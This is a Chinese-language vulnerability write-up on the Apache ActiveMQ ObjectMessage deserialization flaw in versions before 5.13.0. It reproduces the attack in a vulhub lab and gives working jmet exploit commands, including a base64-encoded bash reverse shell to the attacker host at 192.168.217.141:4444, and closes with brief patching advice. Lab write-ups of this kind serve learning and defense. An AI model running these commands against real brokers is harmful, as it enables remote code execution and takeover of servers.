0x00 漏洞简介:
Apache ActiveMQ是由美国阿帕奇(Apache)软件基金会开发的开源消息中间件,支持Java消息服务、集群、Spring框架等。属于消息队列组件(消息队列组件:分布式系统中的重要组件,主要解决应用耦合、异步消息、流量削峰等)。
0x01 原理分析:
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。
0x02 漏洞适用版本:
Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0
0x03 JMS简介:
JavaEE中定义的“Java消息服务”(JMS),定义了Java中访问消息中间件的接口。JMS只 是一套接口,并没有给予实现,各大厂商和开源组织都对JMS实现不同产品,这些产品 包括:Apache的ActiveMQ、阿里的RocketMQ、IBM的MQSeries、Microsoft的MSMQ和 Spring Source的RabbitMQ等等,它们基本都遵循JMS规范。
JMS消息由以下三部分组成的:
- 消息头: 每个消息头字段都有相应的getter和setter方法。
- 消息属性:如果需要除消息头字段以外的值,那么可以使用消息属性。
- 消息体:JMS定义的消息类型有TextMessage、MapMessage、BytesMessage、StreamMessage和ObjectMessage。
详细的消息类型介绍如下:
属性 | 类型 |
---|---|
TextMessage | 文本消息 |
MapMessage | k/v |
BytesMessage | 字节流 |
StreamMessage | java原始的数据流 |
ObjectMessage | 序列化的java对象 |
0x04 漏洞复现:
环境准备
服务器:Centos 7 (IP:192.168.217.140)
ActiveMQ 版本:5.11.1
攻击机:kali(IP:192.168.217.141)
利用工具: https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
- 进到vulhub靶场进行搭建靶场
docker-compose up -d
- 然后访问靶机的8186端口,看看是否部署成功
- 可以看到主页,然后点击Manage ActiveMQ broker 进入到登录界面,用户名和密码都是admin
- 在Queues里边可以看到现在在队列里边的任务,但是现在里面是空的
- 接下来在kali里边直接使用jmet-0.1.0-all.jar 创建目录进行验证
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "touch /tmp/Angustest" -Yp ROME 192.168.217.140 61616
- 此时返回网站查看,可以看到队列里出现了一个event新的任务
- 点进event
- 点进去任务详情触发
- 接下来进入docker检验漏洞是否存在,看看是否/tmp下面有我们写入的文件
docker exec -it 25a18ee3883d /bin/bash
- 发现文件被成功写入,确认漏洞之后就可以进行getshell,更换一下命令即可
payload:
echo "bash -i >& /dev/tcp/192.168.217.141/4444 0>&1" > /tmp/shell.sh && bash /tmp/shell.sh
- 因为直接反弹shell不行所以尝试写命令到shell.sh中然后执行
bash -c {echo,ZWNobyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xNDEvNDQ0NCAwPiYxIiA+IC90bXAvc2hlbGwuc2ggJiYgYmFzaCAvdG1wL3NoZWxsLnNo}|{base64,-d}|{bash,-i}
- 然后使用 jmet-0.1.0-all.jar 进行漏洞利用
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,ZWNobyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xNDEvNDQ0NCAwPiYxIiA+IC90bXAvc2hlbGwuc2ggJiYgYmFzaCAvdG1wL3NoZWxsLnNo}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.217.140 61616
- 同时kali监听端口,并点击任务详情
- kali上能看到成功返回的shell
0x05 修复建议:
-
升级到最新的版本或者使用官网的修复补丁进行修复。
-
有条件的可以配置waf规则使用waf进行防护。